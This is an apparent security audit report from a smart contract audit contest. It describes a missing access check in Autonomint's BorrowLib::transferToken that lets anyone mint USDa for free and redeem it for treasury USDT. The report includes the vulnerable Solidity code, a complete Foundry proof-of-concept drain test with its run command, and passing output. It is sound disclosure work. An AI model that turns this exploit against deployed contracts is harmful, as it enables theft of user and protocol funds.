Spare Lemonade Hedgehog

High

# Lack of access control leads to free usda minting and draining usdt from treasury

### Summary

Lack of access control in BorrowLib::transferToken allows unauthorized minting of USDa tokens. Anyone can basically mint any amount of usda as they wish for free. Then, they can redeem this freely minted usda for usdt via calling CDS::redeemUSDT , thus can drain the treasury. 

_NOTE that `redeemUSDT` has further bugs of its own with different root cause, which I'll formulate in another report. After minting the usda tokens for free, the attacker has more possibilities, but this is the most straightforward way to drain the protocol_

### Root Cause

There’s nothing stopping anyone calling the `BorrowLib::transferToken` directly and minting as much as usda as they wish for free. 

Nothing in the below function protects it from free minting.

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L549

```solidity
 /**
     * @dev Transfer USDa token to the borrower
     * @param borrower Address of the borrower to transfer
     * @param amount deposited amount of the borrower
     * @param collateralPrice current collateral price
     * @param optionFees option fees paid by borrower
     */
    //@audit critical bug. lack of access control in this function opens the way for anyone to mint as much as tokens as they want without giving anything in return.
    function transferToken(
        IUSDa usda,
        uint8 LTV,
        address treasuryAddress,
        address borrower,
        uint256 amount,
        uint128 collateralPrice,
        uint256 optionFees
    ) public returns (uint256 tokensToMint) {
        // Check the borrower address is not a non zero address
        if (borrower == address(0)) {
            revert IBorrowing.Borrow_MustBeNonZeroAddress(borrower);
        }
        // Check the LTV is not 0
        if (LTV == 0) {
            revert IBorrowing.Borrow_LTVIsZero();
        }

        // tokenValueConversion is in USD, and our stablecoin is pegged to USD in 1:1 ratio
        // Hence if tokenValueConversion = 1, then equivalent stablecoin tokens = tokenValueConversion

        //Call the mint function in USDa
        //Mint 80% - options fees to borrower

        tokensToMint = tokensToLend(amount, collateralPrice, LTV);
        bool minted = usda.mint(borrower, (tokensToMint - optionFees));

        if (!minted) {
            revert IBorrowing.Borrow_MintFailed();
        }

        //Mint options fees to treasury
        bool treasuryMint = usda.mint(treasuryAddress, optionFees);

        if (!treasuryMint) {
            revert IBorrowing.Borrow_MintFailed();
        }
    }
```

Now that the attacker has minted usda for free, they can participate in the protocol as they wish. One immediate path is to call `CDS::redeemUSDT` and drain the treasury. They can practically get any amount of usdt the treasury has.

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L506

```solidity
   /**
     * @dev acts as dex, where the user can swap usda for usdt.
     * @param usdaAmount usda amount to deposit
     * @param usdaPrice usda price
     * @param usdtPrice usdt price
     */
    function redeemUSDT(
        uint128 usdaAmount,
        uint64 usdaPrice,
        uint64 usdtPrice
    )
        external
        payable
        nonReentrant
        whenNotPaused(IMultiSign.Functions(6)) //* functions 6 is RedeemUSDT
    {
        burnedUSDaInRedeem = CDSLib.redeemUSDT(
            Interfaces(treasury, globalVariables, usda, usdt, borrowing, CDSInterface(address(this))),
            burnedUSDaInRedeem,
            usdaAmount,
            usdaPrice,
            usdtPrice
        );

        // getting options since,the src don't know the dst state
        bytes memory _options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0);

        // calculting fee
        MessagingFee memory fee =
            globalVariables.quote(IGlobalVariables.FunctionToDo(1), IBorrowing.AssetName(0), _options, false);

        // Calling Omnichain send function
        globalVariables.send{value: fee.nativeFee}(
            IGlobalVariables.FunctionToDo(1), IBorrowing.AssetName(0), fee, _options, msg.sender
        );
    }
```

`CDS::redeemUSDT` calls `CDSLib::redeemUSDT`

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/lib/CDSLib.sol#L382

```solidity
 /**
     * @dev acts as dex usda to usdt
     * @param usdaAmount usda amount to deposit
     * @param usdaPrice usda price
     * @param usdtPrice usdt price
     */
    function redeemUSDT(
        CDSInterface.Interfaces memory interfaces,
        uint256 burnedUSDaInRedeem,
        uint128 usdaAmount,
        uint64 usdaPrice,
        uint64 usdtPrice
    ) external returns (uint256) {
        // CHeck the usdaAmount is non zero
        if (usdaAmount == 0) {
            revert CDSInterface.CDS_NeedsMoreThanZero();
        }
        // Check the user has enough usda balance
        if (interfaces.usda.balanceOf(msg.sender) < usdaAmount) {
            revert CDSInterface.CDS_Insufficient_USDa_Balance();
        }
        // Increment burnedUSDaInRedeem
        burnedUSDaInRedeem += usdaAmount;
        // GET the omnichain data
        IGlobalVariables.OmniChainData memory omniChainData = interfaces.globalVariables.getOmniChainData();
        // Increment burnedUSDaInRedeem
        omniChainData.burnedUSDaInRedeem += usdaAmount;
        // burn usda
        bool transfer = interfaces.usda.burnFromUser(msg.sender, usdaAmount);
        if (!transfer) {
            revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.USDa);
        }
        // calculate the USDT USDa ratio
        uint128 usdtAmount = ((usdaPrice * usdaAmount) / usdtPrice);

        interfaces.treasury.approveTokens(IBorrowing.AssetName.TUSDT, address(interfaces.cds), usdtAmount);
        // Transfer usdt to user
        bool success = interfaces.usdt.transferFrom(address(interfaces.treasury), msg.sender, usdtAmount);
        if (!success) {
            revert CDSInterface.CDS_TransferFailed(IBorrowing.AssetName.TUSDT);
        }

        interfaces.globalVariables.setOmniChainData(omniChainData);

        return burnedUSDaInRedeem;
    }
```

As it can be seen, the above function checks whether the usda amount is greater than zero, and whether the user has required amount of usda in their balance. If so, it transfers the equivalent amount specified by params (again, completely decided by the caller), to the user. The only thing the attacker has to pay in this whole transaction is gas, and native fee for globalVariables.send call that’s being called in `CDS::redemUSDT`.

Refer to the POC for successful execution.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

User can mint usda for free and drain the usdt amount in treasury, stealing pretty much anything from the protocol.

### PoC

Create a new MyTest.t.sol file in test/foundry folder, paste the following inside and run `forge test --match-contract MyTest --fork-url https://1rpc.io/mode -vv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test, StdUtils, console} from "forge-std/Test.sol";
import {BorrowingTest} from "../../contracts/TestContracts/CopyBorrowing.sol";
import {Treasury} from "../../contracts/Core_logic/Treasury.sol";
import {Options} from "../../contracts/Core_logic/Options.sol";
import {MultiSign} from "../../contracts/Core_logic/multiSign.sol";
import {CDSTest} from "../../contracts/TestContracts/CopyCDS.sol";
import {TestUSDaStablecoin} from "../../contracts/TestContracts/CopyUSDa.sol";
import {TestABONDToken} from "../../contracts/TestContracts/Copy_Abond_Token.sol";
import {TestUSDT} from "../../contracts/TestContracts/CopyUsdt.sol";
import {HelperConfig} from "../../scripts/script/HelperConfig.s.sol";
import {DeployBorrowing} from "../../scripts/script/DeployBorrowing.s.sol";
import {State} from "../../contracts/interface/IAbond.sol";
import {IBorrowing} from "../../contracts/interface/IBorrowing.sol";
import {CDSInterface} from "../../contracts/interface/CDSInterface.sol";
import {ITreasury} from "../../contracts/interface/ITreasury.sol";
import {IOptions} from "../../contracts/interface/IOptions.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MessagingFee} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/OApp.sol";
import {OptionsBuilder} from "@layerzerolabs/lz-evm-oapp-v2/contracts/oapp/libs/OptionsBuilder.sol";
import {IGlobalVariables} from "../../contracts/interface/IGlobalVariables.sol";
import {IWrsETH} from "../../contracts/interface/IWrsETH.sol";
import {BorrowLib} from "../../contracts/lib/BorrowLib.sol";
import {IUSDa} from "../../contracts/interface/IUSDa.sol";
import {CDSLib} from "../../contracts/lib/CDSLib.sol";

contract MyTest is Test {
    DeployBorrowing deployer;
    DeployBorrowing.Contracts contractsA;
    DeployBorrowing.Contracts contractsB;

    address borrowLibrary;

    address ethUsdPriceFeed;

    address public USER = makeAddr("user");
    address public owner = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address public owner1 = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    address public aTokenAddress = 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8; // 0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8;
    address public cometAddress = 0xA17581A9E3356d9A858b789D68B4d866e593aE94; // 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;

    uint256 public ETH_AMOUNT = 1 ether;
    uint256 public STARTING_ETH_BALANCE = 100 ether;
    uint64 public ETH_PRICE = 1000e2;
    uint256 public ETH_VOLATILITY = 50622665;

    using OptionsBuilder for bytes;

    MessagingFee globalFee;
    MessagingFee globalFee2;
    MessagingFee globalFee3;

    using BorrowLib for *;
    using CDSLib for *;

    function setUp() public {
        deployer = new DeployBorrowing();
        (contractsA, contractsB) = deployer.run();
        vm.deal(USER, 1 ether);
        vm.deal(owner, STARTING_ETH_BALANCE);
        feeSetup();
    }

    function feeSetup() public {
        bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(400000, 0);
        bytes memory options2 = OptionsBuilder.newOptions().addExecutorLzReceiveOption(1200000, 0);
        bytes memory options3 = OptionsBuilder.newOptions().addExecutorLzReceiveOption(12500000, 0);

        globalFee = contractsA.global.quote(
            IGlobalVariables.FunctionToDo.UPDATE_GLOBAL, IBorrowing.AssetName.DUMMY, options, false
        );

        globalFee2 =
            contractsA.global.quote(IGlobalVariables.FunctionToDo(3), IBorrowing.AssetName.DUMMY, options2, false);

        globalFee3 =
            contractsA.global.quote(IGlobalVariables.FunctionToDo(5), IBorrowing.AssetName.DUMMY, options3, false);
    }

    function test_drain_treasury() public {
        //mint some usdt to treasury
        contractsA.usdt.mint(address(contractsA.treasury), 10000 ether);

        vm.startPrank(USER);
        //get usda balance of user
        uint256 usdaBalance = contractsA.usda.balanceOf(address(USER));
        console.log("usda balance of user", usdaBalance);

        //get user's eth balance before transfer
        uint256 ethBalanceBeforeTransfer = address(USER).balance;
        console.log("eth balance of user before transfer", ethBalanceBeforeTransfer);

        //params don't even matter that much, it's free money
        BorrowLib.transferToken(
            IUSDa(address(contractsA.usda)),
            1,
            address(contractsA.treasury),
            address(USER),
            ETH_AMOUNT, //amount requested
            1e18, //collateral price
            1 // option fees
        );

        //get usda balance of user after transfer
        uint256 usdaBalanceAfterTransfer = contractsA.usda.balanceOf(address(USER));
        console.log("usda balance of user after transfer", usdaBalanceAfterTransfer);

        //user's eth balance after transfer
        uint256 ethBalanceAfterTransfer = address(USER).balance;
        console.log("eth balance of user after transfer", ethBalanceAfterTransfer);

        //get user's usdt balance
        uint256 usdtBalance = contractsA.usdt.balanceOf(address(USER));
        console.log("usdt balance of user", usdtBalance);

        //approve usda to cds
        contractsA.usda.approve(address(contractsA.cds), usdaBalanceAfterTransfer);

        console.log("Allowance:", contractsA.usda.allowance(USER, address(contractsA.cds)));

        console.log(address(contractsA.cds));

        // Provide sufficient ETH for the native fee
        uint256 requiredFee = 5420504000000000; // Replace with dynamic fee if available


        //can call cdslib directly too
        // Redeem USDT
        contractsA.cds.redeemUSDT{value: requiredFee}(uint128(1e18), 1, 1);

        //usdt balance of user after redeem
        uint256 usdtBalanceAfterRedeem = contractsA.usdt.balanceOf(address(USER));
        console.log("usdt balance of user after redeem", usdtBalanceAfterRedeem);

        //user's eth balance after paying fee
        uint256 ethBalanceAfterPayingFee = address(USER).balance;
        console.log("eth balance of user after paying fee", ethBalanceAfterPayingFee);
        vm.stopPrank();
    }
}

```

Terminal output:

```solidity
Ran 1 test for test/foundry/MyTest.t.sol:MyTest
[PASS] test_drain_treasury() (gas: 955841)
Logs:
  usda balance of user 0
  eth balance of user before transfer 1000000000000000000
  usda balance of user after transfer 99999999999999999999
  eth balance of user after transfer 1000000000000000000
  usdt balance of user 0
  Allowance: 99999999999999999999
  0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9
  usdt balance of user after redeem 1000000000000000000
  eth balance of user after paying fee 994579496000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.40s (1.03s CPU time)

Ran 1 test suite in 18.84s (18.40s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

```
What happened? The user minted free usda tokens, redeemed them for usdt and thus effectively took a large amount of usdt from the treasury. They only had to pay for the nativeFee. They can, basically, drain every single usdt in the treasury with this path.

### Mitigation

Do not let users mint usda without giving anything in return.